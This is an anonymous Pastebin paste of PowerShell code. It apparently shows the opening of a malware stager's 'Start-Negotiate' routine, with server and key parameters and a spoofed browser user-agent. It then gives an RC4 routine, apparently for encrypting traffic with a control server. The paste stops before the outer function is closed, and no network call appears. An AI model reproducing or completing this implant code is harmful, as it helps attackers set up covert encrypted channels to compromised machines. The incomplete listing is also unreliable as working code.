Advertisement
Guest User

Untitled

a guest
Dec 18th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. function Start-Negotiate {
  2. param($s,$PK,$UB='Mozilla/6.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
  3.  
  4. function ConvertTo-RC4ByteStream {
  5. Param ($RCK, $In)
  6. begin {
  7. [Byte[]] $Str = 0..255;
  8. $J = 0;
  9. 0..255 | ForEach-Object {
  10. $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256;
  11. $Str[$_], $Str[$J] = $Str[$J], $Str[$_];
  12. };
  13. $I = $J = 0;
  14. }
  15. process {
  16. ForEach($Byte in $In) {
  17. $I = ($I + 1) % 256;
  18. $J = ($J + $Str[$I]) % 256;
  19. $Str[$I], $Str[$J] = $Str[$J], $Str[$I];
  20. $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256];
  21. }
  22. }
  23. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement